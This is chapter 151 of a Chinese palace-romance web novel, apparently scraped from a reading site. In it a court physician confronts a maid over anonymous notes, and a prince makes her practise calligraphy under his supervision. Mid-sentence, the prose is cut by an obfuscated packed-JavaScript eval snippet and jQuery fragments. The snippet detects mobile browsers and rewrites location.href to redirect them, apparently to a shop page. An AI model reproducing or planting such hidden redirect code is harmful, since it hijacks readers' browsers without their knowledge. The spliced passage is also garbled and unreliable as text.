151. 信笺

作品:《君子渡我

    第151章


    章华宫的日子,难得有了几日安宁,雁宁照旧每日去丹房炼药,闲暇时便与雪青、酡颜闲话几句,或是对着窗外的残雪,琢磨着春闱过后的布局。


    严林依旧是那副冷峻模样,守在太妃殿外,偶尔遇上,也只是颔首示意,不多言语,唯有手腕上那串茉莉手串,偶尔会随着他的动作,漾起一缕清雅的香,提醒着雁宁那日生辰宴的点滴。


    这份平静,却被一个新来的宫女,悄然打破了。


    那日雁宁从丹房回来,正遇上掌事姑姑领着一个生面孔的宫女,在殿内熟悉差事,那宫女约莫十六七岁的年纪,身着一身半旧的青布宫装,梳着双丫髻,眉眼生得倒是清秀,只是垂着头,眼神里透着几分怯生生的拘谨,见了雁宁,连忙规规矩矩地福身行礼:“奴婢见过韩医师。”


    掌事姑姑笑着解释:“韩医师,这是刚从掖庭调过来的宫女,名唤花露,手脚还算伶俐,往后便在殿内打杂了。”


    雁宁点了点头,目光在花露身上淡淡扫过,只当是章华宫冬日里人手短缺,也没放在心上,随口道了句“辛苦了”,便径直回了自己的住处。


    可自花露来了之后,怪事便接二连三地发生了。


    先是头一日清晨,雁宁推门出去,便见门槛上放着一个素白的信封,没有署名,也没有落款,她疑惑地捡起来,拆开一看,里面只有一张薄薄的宣纸,上面写着寥寥数语:“晨起天寒,添衣保暖,字间笔锋,略显仓促,当静心凝神。”


    雁宁皱紧了眉头,这字迹娟秀,却透着几分刻意的柔和,内容更是没头没尾,既问了冷暖,又评了她的字。


    她前日替太妃抄录药方,确实写得有些急躁,可这宫里,谁会这般关注她?雪青?酡颜?她们若有话,大可当面说,何必这般藏头露尾?


    她将信纸揉成一团,扔进了炭盆里,只当是哪个宫女的恶作剧,没再多想。


    可第二日,第三日,每日清晨,她的门槛上,总会准时出现一封这样的信笺,内容依旧是无关痛痒的叮嘱,有时是“今日雪大,路滑慎行”,有时是“炼药辛苦,宜饮清粥”,甚至还有一次,点评她抄的药方“当归二字,落笔过重,失了雅致”。


    雁宁的火气,一日日地攒了起来。


    她本就心思缜密,警惕性极高,这般日日被人窥探的感觉,让她浑身都不自在,尤其是那信里对她字迹的点评,精准得有些可怕,仿佛那人日日都在暗处,盯着她的一举一动。


    这日清晨,当雁宁再次看到那封素白信封时,积攒了数日的怒意,终于彻底爆发,她一把抓起信封,指尖用力,竟直接将那薄薄的信纸撕得粉碎,纸屑纷飞,落在地上,像是撒了一地的雪。


    “藏头露尾的鼠辈!”雁宁咬着牙,低声骂了一句,眼底闪过一丝冷冽:“非要逼我揪出你来不可!”


    这些日子,她早已暗中留意过,送递信件的人极为谨慎,总是趁清晨天色未亮,殿内众人尚在安睡时前来,不留半点痕迹,而章华宫近来唯一的生面孔,便是那个叫花露的宫女。


    虽说花露看起来怯生生的,不像是有这般胆子的人,可雁宁深知,越是看似无害的人,往往越容易藏住秘密。


    打定了主意,雁宁便开始暗中留意花露的行踪。


    一连两日,她假意去丹房炼药,却早早地折返,躲在自己住处外的回廊暗影里,凝神观察着,花露的差事很杂,扫地、擦桌、给各处送热水,忙得脚不沾地,看起来并无异常。


    可雁宁却注意到,每日清晨寅时过半,花露总会借着去井边打水的由头,独自离开殿内片刻,而那时间,恰好与信笺出现的时间吻合。


    狐狸的尾巴,终究是露出来了。


    第三日清晨,寅时刚过,天色依旧昏沉,廊下的宫灯还亮着昏黄的光,雁宁算准了时辰,提前守在了井边通往自己住处的必经之路上,这条小路偏僻,两旁种着几株老梅,此刻枝头积着雪,寒风一吹,簌簌落下,冷得人指尖发僵。


    没过多久,一道纤细的身影,果然提着水桶,从井边的方向走了过来,正是花露。


    她脚步很轻,低着头,似乎在想着什么心事,走到小路中段时,果然下意识地朝着雁宁住处的方向瞥了一眼,眼神里闪过一丝不易察觉的紧张。


    就是现在!


    雁宁眸光一凛,从暗影里快步走了出来,径直拦在了花露面前。


    花露吓了一跳,手中的水桶一下子撞在青石板上,溅起几点水花,她猛地抬起头,看到雁宁冷若冰霜的脸,脸色瞬间煞白,嘴唇哆嗦着,竟一句话也说不出来。


    “花露。”雁宁的声音,冷得像冬日的冰,她目光锐利地盯着花露,一字一句道:“那些放在我门口的信笺,是不是你送的?”


    花露浑身一颤,下意识地往后缩了缩,头摇得像拨浪鼓,声音带着哭腔:“韩医师……奴婢……奴婢不知道您在说什么……”


    “不知道?”雁宁冷笑一声,往前逼近一步,目光紧紧锁住她的眼睛,继续说道:“这几日,唯有你每日清晨寅时过半,借着打水的由头,路过我住处的门口,除了你,还能有谁?”


    花露的脸更白了,眼泪在眼眶里打转,却死死地咬着嘴唇,不肯承认:“奴婢只是打水……真的不是奴婢……韩医师,您冤枉奴婢了……”


    “冤枉?”雁宁挑眉,语气愈发冷冽,她伸出手,轻轻拍了拍花露的肩膀,指尖的力道却带着几分压迫感:“我再给你一次机会,是谁让你送的信?信上的内容,又是谁教你写的?你说了,我可以不追究,可你若是执意狡辩,我便将你交给掌事姑姑,细细盘问,你一个从掖庭调来的宫女,若是被查出手脚不干净,后果如何,你该清楚。”


    这是威逼,也是利诱。


    花露的身子抖得更厉害了,眼泪终于掉了下来,她看着雁宁,眼中满是恐惧和挣扎,嘴唇翕动了几下,似乎想说什么,可最终还是用力摇了摇头,哽咽道:“奴婢……奴婢真的不知道……求韩医师放过奴婢吧……”


    雁宁盯着她看了半晌,试图从她的眼神里找出一丝破绽,可花露的目光躲闪,却又透着一股死也不认的倔强,仿佛背后有什么人,给了她莫大的底气。


    雁宁心中的疑虑更甚。


    一个小小的宫女,若是没人撑腰,绝不敢这般挑衅她,而这背后之人,究竟是谁?是徐渭派来的眼线?还是宫里其他看不惯她的人?


    她沉默片刻,知道再逼下去,也问不出什么,花露这副模样,显然是被人嘱咐过,宁死也不会吐露半个字。


    罢了。


    雁宁缓缓收回手,语气缓和了几分,却依旧带着一丝冷意:“既然你不肯说,我也不逼你,但你记住,往后不要再做这些偷偷摸摸的事,我的住处,不是你该来的地方,你该好好照顾太妃的。”


    花露如蒙大赦,连忙朝着雁宁福身行礼,声音哽咽:“谢韩医师……谢韩医师……”


    她不敢再多说一个字,提起水桶,便慌慌张张地绕过雁宁,快步朝着殿内跑去,脚步踉跄,像是身后有什么东西在追她一般。


    雁宁看着她仓皇离去的背影,眉头紧紧皱起。


    此事,绝不会就这么算了。


    她转身走回自己的住处,看着空荡荡的门槛,心中的疑云,愈发浓重。


    可雁宁万万没想到,一波未平,一波又起。


    第二日午后,她正在丹房里整理药材,掌事姑姑突然匆匆赶来,神色带着几分凝重:“韩医师,杨院判派人来传您,说是有要事相商,请您即刻去太医院一趟。”


    杨院判?雁宁心中疑惑,她与翰林医官院的杨院判已经好几日没见,以往都是雁宁主动去寻他,可今日突然传她,是何缘故?


    她不敢耽搁,连忙放下手中的药材,跟着来人,快步朝着翰林医官院走去。


    翰林医官院的院落,素来清静,杨院判的书房里,更是弥漫着一股浓郁的药香,杨院判坐在案后,身着一身藏青色的官袍,脸色有些严肃,见雁宁进来,只是抬了抬眼,指了指对面的椅子:“少溪请坐。”


    雁宁依言坐下,心中的疑惑更甚,开门见山道:“不知杨院判今日传我前来,所为何事?”


    杨院判放下手中的茶盏,目光落在雁宁身上,语气带着几分公事公办的生硬:“我今日传你,是为了殿试之事。”


    殿试?


    雁宁愣了一下,前几月她参加了翰林医官院组织的医术殿试,考核的是脉理与药方,虽说她的药方深得几位医师大人赞赏,可当时为了不太过张扬,她特意将答卷上的字迹写得潦草了些,只求合格,不求出彩,此事不是早就过去了吗?


    她心中隐隐有了一丝不好的预感,却还是不动声色地问道:“殿试之事,不是早已定论?您还曾夸赞过我的药方。”


    “药方确实不错。”杨院判点了点头,话锋却陡然一转,语气带着几分无奈:“可你的字迹,却被人挑了错处。”


    雁宁的心猛地一沉:“字迹?”


    “正是。”杨院判叹了口气,从案上拿起一份折子,推到雁宁面前,说道:“二公子昨日亲自来找我谈起此事,说你医术尚可,可字迹潦草,有失体统,有碍观瞻,还说,你既在宫中当差,理当习练一手好字,方能配得上医师的身份,所以命你往后每日辰时,去二公子的澄心院习字,由二公子亲自督导。”


    “什么?!”


    雁宁猛地站起身,脸色瞬间变了。


    去澄心院习字?由危瀛月督导?


    这简直是荒谬!


    她当日故意将字写丑,就是为了低调行事,避开不必要的关注,可危瀛月,竟然借着这件事,大做文章,还闹到了太妃面前!他到底意欲何为?!


    演都不演了!


    雁宁的手指紧紧攥起,语气带着几分压抑的怒意:“杨院判,此事未免太过荒唐!我入宫是为太妃诊病炼药,并非来习字的!二公子此举,究竟是何用意?”


    杨院判看着她激动的模样,心中也是无奈,他何尝不知道此事荒唐,可太妃的口谕已下,二公子又是王上如今最受宠的公子,他一个院判,哪里敢违抗?


    他叹了口气,站起身,走到雁宁身边,压低声音劝道:“少溪,我知道你心中委屈,可二公子此举,明面上是为了你好,说什么字如其人,练字亦是炼心,我也觉得有理,你如今在宫中,虽得太妃信任,可终究是寄人篱下,二公子他……权势滔天,你得罪不起啊。”


    “得罪不起?”雁宁冷笑一声,眼中闪过一丝倔强:“我自问从未得罪过二公子,他为何要这般针对我?”


    “这……”杨院判迟疑了一下,终究还是摇了摇头,说:“我不知,或许……或许是二公子觉得你是个人才,想提点你一二?”


    这话,连他自己都觉得苍白无力,雁宁看着杨院判那副为难的模样,知道再争辩下去,也无济于事。


    她深吸一口气,努力压下心中的怒火,指尖微微颤抖,声音带着几分不甘:“……我知道了。”


    杨院判见她松口,暗暗松了口气,连忙道:“那就好,二公子说,从明日起,每日辰时,你准时去澄心院便是,二公子那边,我已经替你打过招呼了。”


    雁宁点了点头,却再无半分言语。


    她转身走出杨院判的书房,春日的凉风迎面吹来,刮得她脸颊生疼,她抬头看向澄心院的方向,眼中闪过一丝冷冽。


    危瀛月。


    你到底想做什么?


    第二日辰时,雁宁准时来到了澄心院。


    澄心院不愧是二公子的居所,雕梁画栋,雅致非凡,庭院里种着几株杏花,开得正艳,与白雪相映,煞是好看,可雁宁此刻,却无心欣赏这些景致。


    她跟着内侍,走进一间宽敞的书房,危瀛月正坐在案后,身着一袭月白色的锦袍,手持一卷书,看得正入神,阳光透过窗棂,洒在他的身上,映得他眉眼俊朗,宛若谪仙。


    听到脚步声,他缓缓抬起头,目光落在雁宁身上,唇角勾起一抹似笑非笑的弧度:“韩医师,倒是准时。”


    雁宁强压下心中的不悦,走上前,微微福身行礼:“见过二公子。”


    危瀛月放下手中的书卷,指了指案前的一张桌子,上面早已摆好了笔墨纸砚:“坐吧,今日,我们先从最基础的楷书练起。”


    雁宁依言坐下,看着案上的狼毫笔,心中却烦躁得厉害,她本就无心习字,更何况是在危瀛月的眼皮子底下,这般受制于人,让她浑身都不自在。


    她拿起笔,蘸了蘸墨,却迟迟没有落下。


    危瀛月将她的反应尽收眼底,嘴角的笑意更深了几分:“怎么?韩医师连笔都不会握了?”


    雁宁咬了咬牙,不再理会他的挑衅,抬手便在宣纸上写了起来,可她的心绪不宁,笔下的字迹,更是歪歪扭扭,比那日殿试时,还要潦草几分。


    危瀛月走了过来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290582|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    站在她的身后,目光落在宣纸上,语气带着几分戏谑:“韩医师的字,当真是……别具一格,看来,我今日,有的是得忙了。”


    他说着,竟伸出手,轻轻握住了雁宁的手腕。


    一股温热的触感,从手腕处传来,雁宁浑身一颤,像是被烫到一般,猛地缩回了手,笔尖在宣纸上划过一道长长的墨痕,刺眼得很。


    “二公子请自重!”雁宁猛地站起身,脸色泛红,语气带着几分羞恼。


    危瀛月看着她戒备的模样,眼中闪过一丝玩味,却也没有再上前,只是淡淡道:“练字讲究心手合一,你这般心浮气躁,如何能写好字?罢了,先歇会儿吧,来人,奉茶。”


    很快,内侍便端着两杯热茶走了进来,放在案上。


    雁宁的心情,本就烦躁到了极点,看着那杯热气腾腾的茶,一个念头,突然在她脑海中闪过。


    若是她故意将茶盏打翻,溅湿了衣裳,危瀛月总不能留她一个湿淋淋的人在这里练字吧?到时候,她便能顺理成章地回章华宫换衣裳,今日的习字,便能不了了之。


    好主意!


    雁宁心中暗暗得意,她端起自己面前的茶盏,故作不经意地朝着旁边一歪。


    “哐当——”


    茶盏应声落地,碎裂开来,滚烫的茶水溅了一地,有大半都溅在了她的裙摆上,还有几滴,不偏不倚地溅在了危瀛月的锦袍下摆上。


    瞬间,两人的衣裳,都湿了一大片。


    雁宁心中窃喜,脸上却故作惊慌,连忙福身行礼:“哎呀!下官失手了!实在抱歉,二公子,您的衣裳……”


    她一边说着,一边暗暗想着:快叫我走!快叫我回去换衣裳!


    可危瀛月却只是低头,看了看自己下摆的湿痕,又看了看雁宁裙摆上的水渍,眼中闪过一丝了然的笑意,仿佛早已看穿了她的心思。


    他非但没有生气,反而对着内侍吩咐道:“去,将我前日新做的那套浅色锦袍取来。”


    雁宁愣住了。


    取锦袍?做什么?


    不等她反应过来,内侍已经捧着一套崭新的锦袍,走了进来,恭敬地递给危瀛月。


    危瀛月接过锦袍,递到雁宁面前,语气平淡,却带着一股不容拒绝的意味:“湿衣裳穿着难受,换上吧。”


    雁宁看着那套明显是男子尺寸的锦袍,脸色瞬间变得有些难看。


    这……这是他的衣裳?


    她下意识地后退一步,语气带着几分为难:“二公子,这……男女授受不亲,下官万万不可……”


    “无妨。”危瀛月打断她的话,唇角的笑意,带着几分邪气:“新的,我没穿过。”


    他说着,指了指书房内的屏风:“屏风后面,你且去换,吾在这里等你。”


    雁宁看着他手中的锦袍,又看了看他那双含笑的眼睛,只觉得自己像是搬起石头砸了自己的脚。


    她怎么也没想到,危瀛月竟然会来这么一出!


    早知道他是这样的人,当初就不该自作聪明,故意把字写丑,更不该故意打翻茶盏!


    雁宁心中懊悔得肠子都快青了,可事已至此,她别无选择,若是再推辞,反倒显得她小家子气了。


    她咬了咬牙,接过锦袍,低声道了句“谢二公子”,便快步走到屏风后面。


    屏风后的光线有些暗,雁宁看着手中的锦袍,无奈地叹了口气,只得动手,将自己湿淋淋的宫装换下,穿上了危瀛月的锦袍。


    这锦袍是男子的尺寸,穿在她的身上,实在是太过宽大,衣摆拖到了脚踝,袖子长了一大截,垂到手肘,领口也松松垮垮的,露出一小片白皙的脖颈,她不得不将袖子挽了好几圈,走路时,还要刻意捞起衣摆,才能勉强正常行走,模样显得有些狼狈。


    她整理了半晌,才硬着头皮,从屏风后走了出来。


    危瀛月正坐在案前,手中把玩着雁宁方才握过的小狼毫笔,听到脚步声,缓缓抬起头。


    当他看到雁宁穿着他的锦袍,那副略显窘迫却又透着几分别扭的模样时,眼中闪过一丝惊艳,随即,唇角勾起一抹极淡的,带着几分邪气的笑意。


    那笑容,一闪而逝,快得让人几乎以为是错觉。


    可雁宁却捕捉到了。


    那笑容里,带着几分玩味,几分挑衅,还有几分说不清道不明的意味。


    雁宁的火气,瞬间又涌了上来。


    她咬着牙,瞪了危瀛月一眼,却一句话也说不出来。


    罢了罢了。


    人在屋檐下,不得不低头。


    雁宁深吸一口气,走到案前,重新拿起笔,沉下心来,一笔一划地写了起来。


    只是这一次,她的字迹,依旧潦草。


    她就是故意的。


    她倒要看看,危瀛月能把她怎么样。


    书房里,只剩下笔尖划过宣纸的沙沙声,日头渐渐西斜。


    雁宁熬得眼皮都快打架了,终于,等到了天黑。


    危瀛月看了一眼窗外的夜色,终于放下了手中的书卷,淡淡道:“今日就到这里,你回去吧。”


    雁宁如蒙大赦,几乎是逃也似的朝着危瀛月福身行礼,然后快步朝着书房外走去,她甚至不敢回头,生怕危瀛月再说出什么刁难她的话来。


    直到走出澄心院的大门,冷风一吹,她才长长地松了口气。


    这一天,简直是度日如年!


    雁宁快步朝着章华宫走去,宽大的锦袍在身后翻飞,带着一股淡淡的墨香,和着男子身上特有的清冽气息,萦绕在鼻尖。


    而澄心院的书房里,雁宁走后,却恢复了寂静。


    危瀛月缓缓站起身,走到案前,看着宣纸上那些歪歪扭扭的字迹,唇角的笑意,却渐渐深了起来。


    他伸出手,轻轻拂过宣纸,指尖似乎还残留着,方才握住她手腕时,那细腻的触感。


    他拿起桌上的那支小狼毫笔,放在鼻尖轻嗅,小狼毫上似乎还沾着一丝淡淡的药香,和着茉莉的清雅。


    危瀛月的目光,落在了地上那片尚未收拾的水渍上,眼中闪过一丝深邃的光芒。


    雁宁啊雁宁。


    你以为,吾真的是让你来习字的吗?


    他低声轻笑,声音低沉而沙哑,带着几分不易察觉的温柔。


    吾只是……想见见你罢了。


    窗外的杏花,开得正艳,月光洒下来,将书房的窗棂,映得一片朦胧。